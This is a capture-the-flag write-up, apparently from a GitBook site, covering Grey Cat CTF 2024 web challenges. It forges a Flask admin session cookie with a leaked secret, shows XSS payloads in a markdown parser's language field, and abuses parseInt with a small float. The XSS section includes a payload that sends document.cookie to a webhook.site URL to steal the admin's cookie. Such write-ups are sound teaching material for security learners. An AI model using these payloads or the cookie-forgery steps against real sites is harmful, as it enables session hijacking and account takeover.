> For the complete documentation index, see [llms.txt](https://ret2basic.gitbook.io/ctfwriteup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ret2basic.gitbook.io/ctfwriteup/web2-ctf/grey-cat-ctf-2024-web-challs.md).

# Grey Cat CTF 2024 (web challs)

## Table of content

* Baby Web (Flask session cookie)
* Markdown Parser (XSS in markdown)
* Greyctf Survey (parseInt issues)
* Beautiful Styles (CSS Injection)
* Fearless Concurrency
* No SQL Injection

## Baby Web (Flask session cookie)

The web app is written in Flask. Check session cookie:

```sh
flask-unsign --decode --cookie 'eyJpc19hZG1pbiI6ZmFsc2V9.ZiNV-w.Umcx64Jf6IYqXHUDpmtp3GZPSYs'
```

<figure><img src="/files/YFeozDS9a7Hu0Ll9I1Vu" alt=""><figcaption></figcaption></figure>

The secret key is given in plaintext in the source code. Flip is\_admin to True and forge Flask session cookie:

```sh
flask-unsign --sign --cookie "{'is_admin': True}" --secret 'baby-web'
```

<figure><img src="/files/VoWgMPP2mxQcfQpmHcLM" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/kZCBTOl0VSqo6iLTI0cL" alt=""><figcaption></figcaption></figure>

View source code:

<figure><img src="/files/sJ9rhZsH9bjFmZB5jH6k" alt=""><figcaption></figcaption></figure>

Visit /flag route and get flag.

## Markdown Parser (XSS in markdown)

XSS injection point:

<figure><img src="/files/5YHflQSuLDsTrl1ntlSu" alt=""><figcaption></figcaption></figure>

Test XSS in the `language` field:

````html
```" onmouseover="alert(1)
/* code here */
```
````

<figure><img src="/files/F7DGpPX2Z9pAyJD9himU" alt=""><figcaption></figcaption></figure>

This works since the payload is rendered as the following HTML code:

```html
<pre><code class="language-"onmouseover="alert(1)">/* code here */</code></pre>
```

See if we can trigger without using any attribute:

````html
```"></code></pre><script>alert(1)</script><pre><code>
```
````

<figure><img src="/files/Fsw0M5ijewHWer1xnqFC" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/TijyP6LV5dgk35Vz5O9K" alt=""><figcaption></figcaption></figure>

It is possible to setal admin’s cookie since httpOnly flag is set to false:

<figure><img src="/files/YMDFur4lescJfPqD1y8M" alt=""><figcaption></figcaption></figure>

Use webhook:

<https://webhook.site/>

Upgrade the payload for stealing admin’s cookie:

````html
```"></code></pre><script>new Image().src="https://webhook.site/2e050fe1-0ffe-4c30-8dfa-2b0769240238/"+(document.cookie);</script><pre><code>
```
````

This payload forces the web app to send a GET request to our webhook.

Inject payload and get flag.

## Greyctf Survey (parseInt issues)

Soft spot:

<figure><img src="/files/t89ZBgORgCz1FJ7PwMnP" alt=""><figcaption></figcaption></figure>

vote has must have type ‘number’, and it is between -1 and 1. Our goal is to let:

```javascript
-0.42069 + parseInt(vote) > 1
```

The problem is, `parseInt()` is designed to parse string instead of number. When you feed numbers into it, it can trigger weird behavior:

{% embed url="<https://priyankuhazarika.hashnode.dev/weird-javascript-the-strange-behaviour-of-parseint>" %}

So basically `parseInt()` converts function argument to string since we provided a number. For something like 0.09, it becomes "0.09", and it is evaluated as 0 since only the first character gets parsed. But if we provide something with many zeros like 0.00000009, it becomes "9e-8", so evaluated to 9. That breaks the assumption of the checks.

## Beautiful Styles (CSS injection)

## Fearless Concurrency

## No SQL Injection
